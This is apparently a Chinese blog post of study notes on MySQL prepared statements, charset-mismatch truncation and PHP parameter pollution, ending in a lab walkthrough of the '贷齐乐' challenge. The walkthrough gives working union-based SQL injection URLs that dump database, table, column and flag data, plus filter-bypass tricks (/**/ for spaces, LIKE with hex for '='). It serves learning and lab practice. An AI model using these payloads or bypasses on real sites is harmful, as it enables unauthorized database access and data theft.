MySQL编码问题+MySQL的预编译

9 篇文章 0 订阅
4 篇文章 0 订阅

1、MySQL的真实预编译和虚拟预编译   --防止sqsl注入,首当其冲预编译

--1、在MySQL中预编译分为了真实的预编译和虚拟预编译;默认是虚拟预编译,真实预编译需要修改应该参数PDO这个参数设置成false之后MySQL才会进行真实预编译,默认为true;

--2、真实预编译和虚拟预编译的区别

---1、虚拟预编译:他只是单纯的在对具有sql注入危险的符号进行了转义\,并没有起到真正的预编译效果;同时他也没有起到参数绑定,还是只是单纯的字符串拼接,没有想真实预编译那种用?来提前占位;

所以虚拟预编译只是将特殊字符转义了

---2、真实的预编译:他首先是对sql语句先进行一个预编译,此时的sql语句是没有参数值的,而在预编译的时候,参数值的位置就会用逗号占位;也就是说,系统已经把这个位置直接给参数绑定了,就是这个位置来的东西肯定是一个参数值,而不是一个sql语句;所以我们的含有sql语句的参数值进来的后,系统会把他当成一个参数值进行查找;那么这个参数绑定化到底是怎么实现的呢?

1、提前编译,?占位;

2、含有特殊字符的如单引号还是会被转义

3、将以上两种步骤设置完了之后,还会将参数进行hex化,也就是将参数转换成16进制;

---这样,即使是MySQL的宽字节注入不能将转义字符合并逃出单引号;

--3、MySQL中,除开可以执行正常输入的值以外,还可以执行16进制输入值;

当我们执行MySQL语句的时候,可以把部分数据替换成16进制;除开select、数据库名、表名等关键字,其余都可以替换

---注意:0x6173327是as';如果是正常数据as'是无法执行的,但是转换成16进制后,可以执行

---预编译的注意事项:我们的预编译一般只能用来编译数值部分;因此在预编译的时候,会自动给空缺的数值部分打上一个占位符?,当预编译完成,数值进来sql语句之后,系统会自动给这个数值打上双引号,就会变成字符串,

如:select ?username from users

就会变成select 'username' from users;显然,这种是有问题,是不能将字段名变成字符串的;

顺而:order by/group by后面的参数值也不能预编译;

真正可以预编译的位置只能是:一个真正的值,一个真正可以成为字符串的值,如:where id = ?  

2、滑动窗口就是一次性发送多个数据包,将多个ack回复堆叠在一起了;为了满足存储多个数据的要求,就有了缓冲区的这个机制;但是滑动窗口是不知道对方的的缓冲区大小的;所以需要流量控制;

3、sql的基本补充

--1、updatexml是and,select子查询是union,floor也是基于select的

--2、为什么地址栏输入~不行,但是加上单引号'~'就行,或者0x7e也可以;

原因:大哥,我们的sql语句执行是必须满足数据类型条件的,这个~明显就是字符串,你怎么能不添加单引号,而且MySQL是可以执行16进制值的

4、MySQL客户端为utf-8服务端为latin1编码会造成的漏洞

--1、我们的MySQL其实是分为客户端和服务端两部分:客户端就是我们平常输入命令时打交道的软件,服务端就是软件背后真正去执行我们要求的一个内在软件

--2、当我们的客户端的编码为utf-8,而我们的服务器编码为latin1就会出现一个问题

--->当我们输入一个汉字的组成的其中一个字符时,那么传给后端,此时后端是能够识别的,因为后端是utf-8编码的字符集(注意,这里只是说后端是utf-8的字符集,并不是说要将输入数据进行一个utf-8编码),所以后端是允许组成一个汉字的一个字符存在的;

但是当后端传给MySQL数据库时,这里就是connection传给server,那么就会涉及到字符集转换,因为latin1识别不了中文,所以中文的一个组成字符过来了以后,server会直接将其丢弃掉;因此就会出现后端的字符串传给MySQLserver时,会发生变化;

如:后端的时候str=admin\xe4,那么传给MySQLserver后 str=admin,\xe4会被丢弃

这样就出现了MySQL客户端和服务端编码不同造成的漏洞;

--3当客户端传给MySQLserver的数据直接是一个汉字时,且当此时MySQL的客户端编码是utf-8,服务端是latin1,那么此时MySQLserver不是丢弃该汉字,而是直接报错!!

项目:贷齐乐漏洞

1、解释代码

 $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);

这个是将数组左边的一一替换成数组右边的;&和&在html中都是显示&的作用;通常进行这样的替换目的多半都是避免这个str字符串会被拿去执行操作,如sql语句的执行而sql语句的执行会把&看成是and的意思,所以就得把这个&替换成&

2、http的全局污染:当我们的请求中有多个相同参数,即使他们的值不相同,也是只取最后一个参数的值;

--如地址栏的url--->i_d=1&i_d=2&c=3,

则php内部;$_GET['i_d']/$_POST['i_d']/REQUEST/SERVER都是取最后一个值:2

3、php中

--1、当使用request\post\get这种获取请求参数的值时,那么i_d=i.d=i]d;

因此当url=:  i_d=1&i.d=2&i]d=3,则$_REQUEST/GET/POST值就   = i]d=3 //http全局污染

--2、当使用url获取值时,则php是直接从url地址栏获取,因此url地址栏上的值是多少,那么$_SERVER['REQUEST_URI']的值就是那么多

---直接获取request中的值使用:$_REQUEST/GET/POST

---直接获取url中的值使用:$_SERVER['REQUEST_URI']

--注意:这里如果使用 $_SERVER['REQUEST_URI']直接获取url中的值,那么系统就会原封不动的将url地址栏上的值拿到php中,不会做任何转换,本来浏览器地址栏到后端就不会做什么转换;因此:因为空格在url中会编码成%20,所以通过url取出来到php中的值也是%20,而不是空格;

(补充:url编码是浏览器地址栏敲下回车键时,自动编码的,因为地址栏上数据只能是url编码形式存在;但是传给后端的数据是没有进行url编码的)

步入正题:开始注入     --想在url中输入多个参数,就用&连接

--1、首先我们来查询数据库,因为这里对英文()转义成了中文(),因此只能用information_schema数据库进行查询本数据库;

查询数据库的话使用SCHEMATA最为合适,因为columns表和tables表中的table_schema字段都有重复的值;因此最佳方法就是查询information_schema库中的schemata数据表

http://192.168.93.1/daiqile/index.php?submit=a&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata&i.d=1

--2、其次,通过已有数据库查询数据表

http://192.168.93.1/daiqile/index.php?submit=a&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466&i.d=1

--注意这里不能用等号=,因为后端就是通过等号=将我们的不同的参数进行划分的;因此我们这里只能使用具有模糊查询功能的like (想要模糊查询就用%ctf)

--3、数据表有了,下面就开始查询字段名啦

http://192.168.93.1/daiqile/index.php?submit=a&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/0x7573657273/**/and/**/table_schema/**/like/**/0x637466&i.d=1

--4、字段名有啦,我们就可以真正的查询出flag啦

http://192.168.93.1/daiqile/index.php?submit=a&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users/**/&i.d=1

总结知识点

1、http的参数污染:对于php来说,如果我要获取的参数值有多个,则默认只获取最后一个;

2、php中

--1、当使用request\post\get这种获取请求参数的值时,那么i_d=i.d=i]d;

因此当url:i_d=1&i.d=2&i]d=3,则$_REQUEST/GET/POST值=      i]d=3 //http全局渲染

--2、当使用url获取值时,因为是php直接从url地址栏获取,因此url地址栏上的值是多少,那么$_SERVER['REQUEST_URI']的值就是那么多

3、

--1、MySQL中空格可以用/**/代替;

--2、=等号可以用like代替;

--3、查询数据库schemata最合适

查询数据表tables最合适

查询字段名columns最合适

其他环境的参数污染

---------------------------------我们只讲思路,不讲详细过程;

                                          过程是背,思路是理解;

                                           想要走多远,10%背+90%理解

祝你年薪百万,成绩辉煌!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值